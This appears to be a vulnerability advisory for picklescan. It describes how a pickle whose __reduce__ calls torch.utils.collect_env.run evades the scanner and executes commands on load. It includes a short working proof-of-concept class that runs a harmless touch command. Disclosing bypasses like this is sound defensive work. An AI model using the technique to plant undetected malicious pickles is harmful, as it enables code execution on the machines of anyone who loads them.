Overview
picklescan is a Security scanner detecting Python Pickle files performing suspicious actions
Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to the use of torch.utils.collect_env.run in the reduce method. An attacker can execute arbitrary code by crafting a malicious pickle file that leverages this function to bypass detection and trigger code execution upon loading.
PoC
import torch.utils.collect_env as collect_env
class EvilTorchUtilsCollectEnvRun:
def __reduce__(self):
command = 'touch /tmp/collect_env_run_success'
return collect_env.run, (command,)
